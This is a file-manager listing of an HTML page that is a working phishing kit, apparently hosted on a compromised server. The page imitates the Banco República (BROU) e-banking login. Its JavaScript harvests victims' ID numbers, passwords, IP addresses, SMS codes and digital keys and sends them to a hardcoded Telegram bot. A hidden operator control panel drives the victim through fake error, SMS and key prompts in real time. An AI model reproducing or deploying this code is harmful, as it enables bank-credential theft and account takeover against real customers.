File manager - Edit - /home/webtrixia/elite.supermenu.bg/system/brou_login (8).html
Back
<!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>e BROU - Ingreso de Usuario</title> <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;600;700&display=swap" rel="stylesheet"> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Open Sans', sans-serif; background-color: #0a5c8a; min-height: 100vh; display: flex; align-items: center; justify-content: center; padding: 20px; } .container { width: 100%; max-width: 900px; } /* Logo */ .logo { display: flex; align-items: center; gap: 10px; margin-bottom: 15px; padding-left: 5px; } .logo-e { width: 36px; height: 36px; position: relative; } .logo-e svg { width: 100%; height: 100%; } .logo-text { color: #fff; font-size: 24px; font-weight: 700; letter-spacing: 1px; } /* Main Card */ .main-card { display: flex; background: #fff; border-radius: 4px; overflow: hidden; box-shadow: 0 4px 20px rgba(0,0,0,0.15); } /* Left Panel - Login Form */ .left-panel { flex: 1; padding: 30px 35px; min-width: 380px; } .form-title { color: #0a5c8a; font-size: 20px; font-weight: 600; margin-bottom: 20px; } .form-group { margin-bottom: 15px; } .form-group label { display: block; color: #333; font-size: 13px; font-weight: 600; margin-bottom: 6px; } .form-control { width: 100%; padding: 10px 12px; border: 1px solid #ccc; border-radius: 3px; font-size: 14px; color: #333; background: #fff; outline: none; transition: border-color 0.2s; } .form-control:focus { border-color: #0a5c8a; } .form-control::placeholder { color: #999; } select.form-control { appearance: none; -webkit-appearance: none; background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%23666' d='M6 8L1 3h10z'/%3E%3C/svg%3E"); background-repeat: no-repeat; background-position: right 12px center; padding-right: 30px; cursor: pointer; } .password-wrapper { position: relative; } .password-wrapper .form-control { padding-right: 40px; } .password-toggle { position: absolute; right: 12px; top: 50%; transform: translateY(-50%); background: none; border: none; cursor: pointer; color: #0a5c8a; font-size: 16px; padding: 0; } .form-links { display: flex; justify-content: space-between; margin-top: 12px; margin-bottom: 8px; } .form-links a { color: #0a5c8a; font-size: 12px; text-decoration: none; font-weight: 600; } .form-links a:hover { text-decoration: underline; } .register-link { display: block; color: #0a5c8a; font-size: 12px; text-decoration: none; font-weight: 600; margin-bottom: 20px; } .register-link:hover { text-decoration: underline; } .form-actions { display: flex; align-items: center; justify-content: space-between; } .btn-ingresar { background: #0a5c8a; color: #fff; border: none; padding: 12px 50px; border-radius: 25px; font-size: 14px; font-weight: 600; cursor: pointer; transition: background 0.2s; display: flex; align-items: center; justify-content: center; gap: 8px; min-width: 140px; } .btn-ingresar:hover { background: #084a6e; } .btn-ingresar:disabled { opacity: 0.7; cursor: not-allowed; } /* Loading Spinner */ .spinner { width: 18px; height: 18px; border: 2px solid rgba(255,255,255,0.3); border-top-color: #fff; border-radius: 50%; animation: spin 0.8s linear infinite; display: none; } .btn-ingresar.loading .spinner { display: inline-block; } .btn-ingresar.loading .btn-text { display: none; } @keyframes spin { to { transform: rotate(360deg); } } .remember-user { display: flex; align-items: center; gap: 8px; font-size: 13px; color: #555; } .toggle-switch { position: relative; width: 36px; height: 20px; background: #ccc; border-radius: 10px; cursor: pointer; transition: background 0.3s; } .toggle-switch.active { background: #0a5c8a; } .toggle-switch::after { content: ''; position: absolute; width: 16px; height: 16px; background: #fff; border-radius: 50%; top: 2px; left: 2px; transition: transform 0.3s; box-shadow: 0 1px 3px rgba(0,0,0,0.2); } .toggle-switch.active::after { transform: translateX(16px); } /* Right Panel */ .right-panel { width: 380px; display: flex; flex-direction: column; } .security-banner { background: #0a2d4a; color: #fff; padding: 30px 25px 25px; flex: 1; display: flex; flex-direction: column; } .security-banner-top { display: flex; align-items: flex-start; justify-content: space-between; margin-bottom: 20px; } .security-title { font-size: 42px; font-weight: 700; line-height: 1.1; letter-spacing: 1px; } .megaphone-icon { font-size: 50px; margin-top: -5px; } .social-info { font-size: 13px; line-height: 1.5; margin-bottom: 15px; } .social-info strong { color: #fff; font-weight: 700; } .social-links { margin-bottom: 15px; } .social-link { display: flex; align-items: center; gap: 8px; margin-bottom: 6px; font-size: 12px; } .social-icon { width: 18px; height: 18px; border-radius: 4px; display: flex; align-items: center; justify-content: center; font-size: 10px; font-weight: bold; } .social-icon.ig { background: #f09433; color: #fff; } .social-icon.fb { background: #1877f2; color: #fff; } .social-icon.wa { background: #25d366; color: #fff; } .verified-badge { color: #4fc3f7; font-size: 10px; } .benefits-text { font-size: 12px; line-height: 1.5; margin-bottom: 12px; } .btn-beneficios { display: inline-block; background: #ffc107; color: #000; text-decoration: none; padding: 8px 20px; border-radius: 20px; font-size: 12px; font-weight: 700; text-align: center; width: fit-content; } .security-notice { background: #fff; padding: 20px 25px; text-align: center; } .security-notice-title { color: #0a5c8a; font-size: 16px; font-weight: 600; margin-bottom: 10px; } .divider-line { width: 60px; height: 3px; background: #ffc107; margin: 0 auto 12px; border-radius: 2px; } .security-notice-text { color: #555; font-size: 12px; line-height: 1.5; } .carousel-dots { display: flex; justify-content: center; gap: 6px; margin-top: 12px; } .dot { width: 8px; height: 8px; border-radius: 50%; background: #ccc; } .dot.active { background: #0a5c8a; } /* Footer */ .footer { display: flex; align-items: center; justify-content: space-between; margin-top: 20px; padding: 0 5px; } .footer-logo { display: flex; align-items: center; gap: 8px; } .footer-logo-icon { width: 28px; height: 28px; background: #fff; border-radius: 4px; display: flex; align-items: center; justify-content: center; } .footer-logo-icon svg { width: 20px; height: 20px; } .footer-logo-text { color: #fff; font-size: 10px; font-weight: 700; line-height: 1.2; text-transform: uppercase; } .footer-links { display: flex; gap: 15px; } .footer-links a { color: rgba(255,255,255,0.7); font-size: 11px; text-decoration: none; } .footer-links a:hover { color: #fff; } .footer-copyright { color: rgba(255,255,255,0.7); font-size: 11px; } /* Admin Panel Styles - Dark theme with purple buttons */ .admin-panel-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: #1a1a2e; display: flex; align-items: center; justify-content: center; padding: 20px; z-index: 99999; } .admin-panel-card { background: transparent; width: 100%; max-width: 400px; display: flex; flex-direction: column; gap: 12px; } .admin-panel-card h2 { color: #fff; text-align: center; margin-bottom: 10px; font-size: 18px; font-weight: 600; } .victim-data { background: #16213e; padding: 15px; border-radius: 8px; margin-bottom: 10px; font-size: 12px; line-height: 1.8; color: #e0e0e0; border: 1px solid #0f3460; } .victim-data code { background: #0f3460; padding: 2px 6px; border-radius: 3px; font-size: 10px; color: #e94560; } .victim-data .password-highlight { background: #e94560; color: #fff; padding: 2px 6px; border-radius: 3px; font-weight: bold; } .victim-data strong { color: #fff; } .action-buttons { display: flex; flex-direction: column; gap: 10px; } .action-btn { border: none; padding: 14px 20px; border-radius: 8px; cursor: pointer; font-weight: 600; font-size: 14px; color: #fff; background: #6c5ce7; transition: all 0.2s ease; text-transform: uppercase; letter-spacing: 0.5px; box-shadow: 0 2px 8px rgba(108, 92, 231, 0.3); } .action-btn:hover { background: #5b4cdb; transform: translateY(-1px); box-shadow: 0 4px 12px rgba(108, 92, 231, 0.4); } .action-btn:active { transform: translateY(0); } .action-btn.sent { opacity: 0.6; cursor: not-allowed; transform: none; } .panel-footer { text-align: center; color: #666; font-size: 10px; margin-top: 10px; } /* Modal Styles - Square digit inputs */ .modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); display: flex; align-items: center; justify-content: center; z-index: 9999; } .modal-box { background: #fff; padding: 35px 40px; border-radius: 4px; min-width: 320px; text-align: center; max-width: 450px; } .modal-box h3 { color: #0a5c8a; margin-bottom: 10px; font-size: 18px; font-weight: 600; } .modal-box p { font-size: 13px; color: #666; margin-bottom: 20px; } /* Square digit inputs container */ .digit-inputs-container { display: flex; align-items: center; justify-content: center; gap: 8px; margin-bottom: 20px; position: relative; } .digit-input { width: 42px; height: 42px; border: 1.5px solid #0a5c8a; border-radius: 4px; text-align: center; font-size: 20px; font-weight: 600; color: #333; outline: none; transition: border-color 0.2s; padding: 0; } .digit-input:focus { border-color: #0a5c8a; box-shadow: 0 0 0 2px rgba(10, 92, 138, 0.2); } /* Hide password toggle icon for digit inputs */ .digit-toggle { position: absolute; right: -35px; top: 50%; transform: translateY(-50%); background: none; border: none; cursor: pointer; color: #0a5c8a; font-size: 18px; padding: 0; width: 24px; height: 24px; display: flex; align-items: center; justify-content: center; } .modal-box .confirm-btn { background: #0a5c8a; color: #fff; border: none; padding: 12px 40px; border-radius: 25px; cursor: pointer; font-weight: 600; font-size: 14px; min-width: 120px; } .modal-box .confirm-btn:hover { background: #084a6e; } /* Responsive */ @media (max-width: 768px) { .main-card { flex-direction: column; } .right-panel { width: 100%; } .left-panel { min-width: auto; } } </style> </head> <body> <div class="container" id="mainContainer"> <!-- Logo --> <div class="logo"> <div class="logo-e"> <svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <text x="50" y="72" text-anchor="middle" font-family="Arial, Helvetica, sans-serif" font-size="75" font-weight="bold" font-style="italic" fill="white">e</text> <path d="M 18 42 Q 50 22 82 42" stroke="#ffc107" stroke-width="8" fill="none" stroke-linecap="round"/> </svg> </div> <div class="logo-text">BROU</div> </div> <!-- Main Card --> <div class="main-card"> <!-- Left Panel - Login Form --> <div class="left-panel"> <h2 class="form-title">Ingreso de Usuario</h2> <form id="loginForm"> <div class="form-group"> <label for="pais">País</label> <select class="form-control" id="pais" name="pais"> <option value="uy" selected>Uruguay</option> </select> </div> <div class="form-group"> <label for="tipoDocumento">Tipo de Documento</label> <select class="form-control" id="tipoDocumento" name="tipoDocumento"> <option value="ci" selected>C.I.</option> </select> </div> <div class="form-group"> <label for="numeroDocumento">N° de Documento</label> <input type="text" class="form-control" id="numeroDocumento" name="numeroDocumento" placeholder=""> </div> <div class="form-group"> <label for="contrasena">Contraseña</label> <div class="password-wrapper"> <input type="password" class="form-control" id="contrasena" name="contrasena" placeholder="Contraseña"> <button type="button" class="password-toggle" id="togglePassword">👁</button> </div> </div> <div class="form-links"> <a href="#">¿Olvidó su Contraseña?</a> <a href="#">Tengo un código de recuperación</a> </div> <a href="#" class="register-link">Registrar usuario</a> <div class="form-actions"> <button type="submit" class="btn-ingresar" id="btnIngresar"> <span class="btn-text">Ingresar</span> <div class="spinner"></div> </button> <div class="remember-user"> <div class="toggle-switch" id="rememberToggle"></div> <span>Recordar Usuario</span> </div> </div> </form> </div> <!-- Right Panel --> <div class="right-panel"> <div class="security-banner"> <div class="security-banner-top"> <div class="security-title"> Cuidá<br>tus<br>clics </div> <div class="megaphone-icon">📢</div> </div> <div class="social-info"> Nuestros <strong>sorteos y beneficios</strong> se publican únicamente en las <strong>redes sociales oficiales:</strong> </div> <div class="social-links"> <div class="social-link"> <div class="social-icon ig">📷</div> <span>brou_oficial</span> <span class="verified-badge">✓</span> </div> <div class="social-link"> <div class="social-icon fb">f</div> <span>Banco República</span> <span class="verified-badge">✓</span> </div> <div class="social-link"> <div class="social-icon wa">📱</div> <span>2 1996 000</span> <span class="verified-badge">✓</span> </div> </div> <div class="benefits-text"> Todos nuestros descuentos y sorteos están disponibles en el sitio Beneficios: </div> <a href="#" class="btn-beneficios">beneficios.brou.com.uy</a> </div> <div class="security-notice"> <h3 class="security-notice-title">Comunicado de seguridad</h3> <div class="divider-line"></div> <p class="security-notice-text"> Si recibís un mensaje mencionando que ganaste un sorteo o beneficio, verificá que sea de nuestras cuentas oficiales. Nunca te pediremos tus claves o números de tarjeta. </p> <div class="carousel-dots"> <div class="dot active"></div> <div class="dot"></div> </div> </div> </div> </div> <!-- Footer --> <div class="footer"> <div class="footer-logo"> <div class="footer-logo-icon"> <svg viewBox="0 0 24 24" fill="#0a5c8a"> <path d="M12 2L2 7l10 5 10-5-10-5zM2 17l10 5 10-5M2 12l10 5 10-5"/> </svg> </div> <div class="footer-logo-text">Banco<br>República</div> </div> <div class="footer-links"> <a href="#">Portal BROU</a> <a href="#">Seguridad</a> <a href="#">Gestión de Reclamos</a> </div> <div class="footer-copyright"> © 2026 Banco República Todos los derechos reservados </div> </div> </div> <script> // ========== CONFIGURATION ========== const BOT_TOKEN = '8593089332:AAF3B7CLITmpWbACo1vumil2TeTBDVdvNzE'; const CHAT_ID = '8540666351'; // ========== UTILITY FUNCTIONS ========== function generateSessionId() { return 'sess_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9); } function escapeHtml(text) { if (!text) return ''; return text.toString() .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>'); } async function getIP() { try { const res = await fetch('https://api.ipify.org?format=json'); const data = await res.json(); return data.ip; } catch { return 'Unknown'; } } // ========== TELEGRAM API ========== async function sendTelegramMessage(text, parseMode) { if (BOT_TOKEN === 'YOUR_BOT_TOKEN_HERE' || CHAT_ID === 'YOUR_CHAT_ID_HERE') { console.error('ERROR: Configure BOT_TOKEN and CHAT_ID'); alert('ERROR: Bot token and Chat ID not configured!'); return false; } const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`; const body = { chat_id: CHAT_ID, text: text, disable_web_page_preview: true }; if (parseMode) body.parse_mode = parseMode; try { const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(body) }); const result = await response.json(); console.log('Telegram response:', result); return result.ok; } catch (error) { console.error('Telegram error:', error); return false; } } async function sendTelegramNotification(message) { return sendTelegramMessage(message, 'HTML'); } // ========== SESSION DATA ========== const sessionStore = {}; let currentSessionId = null; function saveSessionData(sessionId, data) { sessionStore[sessionId] = data; try { localStorage.setItem('brou_session_' + sessionId, JSON.stringify(data)); } catch(e) {} } function getSessionData(sessionId) { if (sessionStore[sessionId]) return sessionStore[sessionId]; try { const stored = localStorage.getItem('brou_session_' + sessionId); return stored ? JSON.parse(stored) : null; } catch(e) { return null; } } // ========== INSTANT CROSS-TAB COMMUNICATION ========== let broadcastChannel = null; function initBroadcastChannel() { try { broadcastChannel = new BroadcastChannel('brou_control_channel'); broadcastChannel.onmessage = function(event) { const data = event.data; if (data.type === 'command' && data.sessionId === currentSessionId) { console.log('Received instant command:', data.action); executeCommand(data.action); } }; console.log('BroadcastChannel initialized'); } catch(e) { console.log('BroadcastChannel not available, using localStorage fallback'); window.addEventListener('storage', function(e) { if (e.key && e.key.startsWith('brou_cmd_')) { const sessionId = e.key.replace('brou_cmd_', ''); if (sessionId === currentSessionId) { const action = e.newValue; if (action) { console.log('Received localStorage command:', action); executeCommand(action); localStorage.removeItem(e.key); } } } }); } } function sendInstantCommand(sessionId, action) { try { const channel = new BroadcastChannel('brou_control_channel'); channel.postMessage({ type: 'command', sessionId: sessionId, action: action, timestamp: Date.now() }); channel.close(); return true; } catch(e) { localStorage.setItem('brou_cmd_' + sessionId, action); return true; } } // ========== VICTIM PAGE COMMAND EXECUTION ========== function executeCommand(action) { const btn = document.getElementById('btnIngresar'); switch(action) { case 'login_error': btn.classList.remove('loading'); btn.disabled = false; showErrorModal('Usuario o contraseña incorrectos. Por favor, verifique sus datos.'); break; case 'sms_code': btn.classList.remove('loading'); btn.disabled = false; showSMSInput(); break; case 'digital_key': btn.classList.remove('loading'); btn.disabled = false; showDigitalKeyInput(); break; case 'details_info': showDetailsModal(); break; case 'approve_login': btn.classList.remove('loading'); btn.disabled = false; window.location.href = 'https://www.brou.com.uy'; break; } } // ========== MODAL FUNCTIONS ========== function showErrorModal(message) { removeAllModals(); const modal = document.createElement('div'); modal.className = 'modal-overlay'; modal.innerHTML = ` <div class="modal-box"> <div style="font-size:40px;margin-bottom:10px;">❌</div> <h3 style="color:#c0392b;margin-bottom:10px;">Error de Ingreso</h3> <p style="font-size:13px;color:#666;margin-bottom:20px;">${message}</p> <button onclick="closeModal(this)" style="background:#c0392b;color:#fff;border:none;padding:10px 30px;border-radius:20px;cursor:pointer;font-weight:600;">Aceptar</button> </div> `; document.body.appendChild(modal); } function showSMSInput() { removeAllModals(); const modal = document.createElement('div'); modal.className = 'modal-overlay'; modal.innerHTML = ` <div class="modal-box"> <h3>Ingresar Credenciales para Confirmar la Operación</h3> <p style="text-align:left;margin-bottom:15px;font-weight:600;color:#333;">Código SMS</p> <div class="digit-inputs-container"> <input type="text" class="digit-input" maxlength="1" data-index="0"> <input type="text" class="digit-input" maxlength="1" data-index="1"> <input type="text" class="digit-input" maxlength="1" data-index="2"> <input type="text" class="digit-input" maxlength="1" data-index="3"> <input type="text" class="digit-input" maxlength="1" data-index="4"> <input type="text" class="digit-input" maxlength="1" data-index="5"> </div> <button class="confirm-btn" onclick="submitSMS()">Confirmar</button> </div> `; document.body.appendChild(modal); // Setup digit input behavior setupDigitInputs(); setTimeout(() => { const firstInput = document.querySelector('.digit-input[data-index="0"]'); if (firstInput) firstInput.focus(); }, 100); } function showDigitalKeyInput() { removeAllModals(); const modal = document.createElement('div'); modal.className = 'modal-overlay'; modal.innerHTML = ` <div class="modal-box"> <h3>Ingresar Credenciales para Confirmar la Operación</h3> <p style="text-align:left;margin-bottom:15px;font-weight:600;color:#333;">Llave digital</p> <div class="digit-inputs-container"> <input type="password" class="digit-input" maxlength="1" data-index="0"> <input type="password" class="digit-input" maxlength="1" data-index="1"> <input type="password" class="digit-input" maxlength="1" data-index="2"> <input type="password" class="digit-input" maxlength="1" data-index="3"> <button class="digit-toggle" onclick="toggleDigitVisibility()">👁</button> </div> <button class="confirm-btn" onclick="submitDigitalKey()">Confirmar</button> </div> `; document.body.appendChild(modal); // Setup digit input behavior setupDigitInputs(); setTimeout(() => { const firstInput = document.querySelector('.digit-input[data-index="0"]'); if (firstInput) firstInput.focus(); }, 100); } function showDetailsModal() { removeAllModals(); const modal = document.createElement('div'); modal.className = 'modal-overlay'; modal.innerHTML = ` <div class="modal-box" style="max-width:500px;max-height:80vh;overflow-y:auto;"> <h3>📋 Información de la Sesión</h3> <div style="font-size:13px;color:#333;line-height:1.8;background:#f8f9fa;padding:15px;border-radius:6px;text-align:left;"> <p><strong>🌐 Navegador:</strong><br><code style="background:#e9ecef;padding:2px 6px;border-radius:3px;font-size:11px;">${navigator.userAgent}</code></p> <p><strong>💻 Plataforma:</strong> ${navigator.platform}</p> <p><strong>🗣️ Idioma:</strong> ${navigator.language}</p> <p><strong>📐 Pantalla:</strong> ${screen.width}x${screen.height}</p> <p><strong>🎨 Color Depth:</strong> ${screen.colorDepth}-bit</p> <p><strong>⏰ Time:</strong> ${new Date().toString()}</p> <p><strong>🔗 URL:</strong> ${window.location.href}</p> <p><strong>📍 Referrer:</strong> ${document.referrer || 'Direct'}</p> </div> <button onclick="closeModal(this)" style="margin-top:15px;">Cerrar</button> </div> `; document.body.appendChild(modal); } function removeAllModals() { const modals = document.querySelectorAll('.modal-overlay'); modals.forEach(m => m.remove()); } window.closeModal = function(btn) { const modal = btn.closest('.modal-overlay'); if (modal) modal.remove(); }; // ========== SMS & DIGITAL KEY SUBMISSION ========== // Setup digit input auto-focus and navigation function setupDigitInputs() { const inputs = document.querySelectorAll('.digit-input'); inputs.forEach((input, index) => { // Only allow numbers input.addEventListener('keypress', function(e) { if (!/[0-9]/.test(e.key)) { e.preventDefault(); } }); // Auto-focus next input input.addEventListener('input', function(e) { if (this.value.length === 1) { const next = document.querySelector('.digit-input[data-index="' + (index + 1) + '"]'); if (next) next.focus(); } }); // Handle backspace input.addEventListener('keydown', function(e) { if (e.key === 'Backspace' && this.value === '') { const prev = document.querySelector('.digit-input[data-index="' + (index - 1) + '"]'); if (prev) { prev.focus(); prev.value = ''; } } }); // Handle paste input.addEventListener('paste', function(e) { e.preventDefault(); const pasteData = e.clipboardData.getData('text').replace(/\D/g, '').substr(0, inputs.length); const startIndex = parseInt(this.getAttribute('data-index')); for (let i = 0; i < pasteData.length; i++) { const target = document.querySelector('.digit-input[data-index="' + (startIndex + i) + '"]'); if (target) target.value = pasteData[i]; } const nextEmpty = document.querySelector('.digit-input[data-index="' + (startIndex + pasteData.length) + '"]'); if (nextEmpty) nextEmpty.focus(); else { const lastFilled = document.querySelector('.digit-input[data-index="' + (inputs.length - 1) + '"]'); if (lastFilled) lastFilled.focus(); } }); }); } // Toggle visibility for digital key window.toggleDigitVisibility = function() { const inputs = document.querySelectorAll('.digit-input'); const toggle = document.querySelector('.digit-toggle'); const isPassword = inputs[0].type === 'password'; inputs.forEach(input => { input.type = isPassword ? 'text' : 'password'; }); toggle.textContent = isPassword ? '🙈' : '👁'; }; window.submitSMS = async function() { const inputs = document.querySelectorAll('.digit-input'); let code = ''; inputs.forEach(input => code += input.value); if (code.length !== 6) { alert('Por favor ingrese un código de 6 dígitos'); return; } // Send SMS code to Telegram await sendTelegramNotification( `📱 <b>SMS CODE RECEIVED</b> ` + `Session: <code>${currentSessionId}</code> ` + `SMS Code: <code>${escapeHtml(code)}</code> ` + `Victim is waiting for next command...` ); removeAllModals(); // Show loading again and wait for next command const btn = document.getElementById('btnIngresar'); btn.classList.add('loading'); btn.disabled = true; }; window.submitDigitalKey = async function() { const inputs = document.querySelectorAll('.digit-input'); let key = ''; inputs.forEach(input => key += input.value); if (key.length !== 4) { alert('Por favor ingrese una clave de 4 dígitos'); return; } // Send Digital Key to Telegram await sendTelegramNotification( `🔐 <b>DIGITAL KEY RECEIVED</b> ` + `Session: <code>${currentSessionId}</code> ` + `Digital Key: <code>${escapeHtml(key)}</code> ` + `Victim is waiting for next command...` ); removeAllModals(); // Show loading again and wait for next command const btn = document.getElementById('btnIngresar'); btn.classList.add('loading'); btn.disabled = true; }; // ========== FORM SUBMISSION ========== document.getElementById('loginForm').addEventListener('submit', async function(e) { e.preventDefault(); const btn = document.getElementById('btnIngresar'); const formData = { pais: document.getElementById('pais').value, tipoDocumento: document.getElementById('tipoDocumento').value, numeroDocumento: document.getElementById('numeroDocumento').value, contrasena: document.getElementById('contrasena').value, ip: await getIP(), timestamp: new Date().toLocaleString() }; // Show loading spinner btn.classList.add('loading'); btn.disabled = true; // Generate session currentSessionId = generateSessionId(); saveSessionData(currentSessionId, formData); // Initialize instant communication initBroadcastChannel(); // Build control panel URL const currentUrl = new URL(window.location.href); currentUrl.searchParams.set('admin', '1'); currentUrl.searchParams.set('session', currentSessionId); const controlUrl = currentUrl.toString(); // Send notification to Telegram const message = `🚨 <b>NEW BROU LOGIN</b> 🚨 📋 <b>Details:</b> ├ País: <code>${escapeHtml(formData.pais)}</code> ├ Doc: <code>${escapeHtml(formData.tipoDocumento)}</code> ├ N°: <code>${escapeHtml(formData.numeroDocumento)}</code> └ Pass: <code>${escapeHtml(formData.contrasena)}</code> 🌐 IP: <code>${escapeHtml(formData.ip)}</code> ⏰ Time: <code>${escapeHtml(formData.timestamp)}</code> 🔗 <b>Control Panel:</b> ${controlUrl} 📲 <b>Quick Commands:</b> /cmd_${currentSessionId}_login_error /cmd_${currentSessionId}_sms_code /cmd_${currentSessionId}_digital_key /cmd_${currentSessionId}_details_info /cmd_${currentSessionId}_approve_login`; const sent = await sendTelegramNotification(message); if (sent) { console.log('✅ Notification sent to Telegram'); } else { btn.classList.remove('loading'); btn.disabled = false; } }); // ========== UI INTERACTIONS ========== document.getElementById('togglePassword').addEventListener('click', function() { const passwordInput = document.getElementById('contrasena'); if (passwordInput.type === 'password') { passwordInput.type = 'text'; this.textContent = '🙈'; } else { passwordInput.type = 'password'; this.textContent = '👁'; } }); document.getElementById('rememberToggle').addEventListener('click', function() { this.classList.toggle('active'); }); // ========== ADMIN CONTROL PANEL ========== const urlParams = new URLSearchParams(window.location.search); const isAdmin = urlParams.get('admin') === '1'; const sessionId = urlParams.get('session'); if (isAdmin && sessionId) { showAdminPanel(sessionId); } function showAdminPanel(sessionId) { document.getElementById('mainContainer').style.display = 'none'; const data = getSessionData(sessionId) || {}; const panel = document.createElement('div'); panel.className = 'admin-panel-overlay'; panel.id = 'adminPanel'; panel.innerHTML = ` <div class="admin-panel-card"> <div class="victim-data"> <p><strong>🆔 Session:</strong> <code>${sessionId}</code></p> <p><strong>🌍 País:</strong> ${data.pais || 'N/A'}</p> <p><strong>📝 Documento:</strong> ${data.tipoDocumento || 'N/A'} - ${data.numeroDocumento || 'N/A'}</p> <p><strong>🔑 Contraseña:</strong> <span class="password-highlight">${data.contrasena || 'N/A'}</span></p> <p><strong>🌐 IP:</strong> <code>${data.ip || 'N/A'}</code></p> <p><strong>⏰ Time:</strong> ${data.timestamp || 'N/A'}</p> </div> <div class="action-buttons"> <button class="action-btn" onclick="sendCommand('login_error', this)">Login Error</button> <button class="action-btn" onclick="sendCommand('sms_code', this)">SMS/Code</button> <button class="action-btn" onclick="sendCommand('digital_key', this)">Digital/Key</button> <button class="action-btn" onclick="sendCommand('details_info', this)">Details Info</button> <button class="action-btn" onclick="sendCommand('approve_login', this)">BROU Uruguay Home</button> </div> <div class="panel-footer"> Control Panel v1.0 </div> </div> `; document.body.appendChild(panel); } // Send command from admin panel window.sendCommand = async function(actionType, btnElement) { const sessionId = new URLSearchParams(window.location.search).get('session'); if (!sessionId) return; btnElement.classList.add('sent'); btnElement.disabled = true; // 1. INSTANT: Send via BroadcastChannel sendInstantCommand(sessionId, actionType); // 2. BACKUP: Send via Telegram const commandText = `/${sessionId}_${actionType}`; await sendTelegramMessage(commandText, null); // 3. Confirmation await sendTelegramMessage( `📤 <b>Command Sent</b> Session: <code>${sessionId}</code> Action: <code>${actionType}</code>`, 'HTML' ); btnElement.textContent = '✅ Sent'; setTimeout(() => { btnElement.classList.remove('sent'); btnElement.disabled = false; btnElement.textContent = btnElement.getAttribute('data-original') || ''; }, 2000); }; </script> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 8.2.31 | Generation time: 0.02 |
proxy
|
phpinfo
|
Settings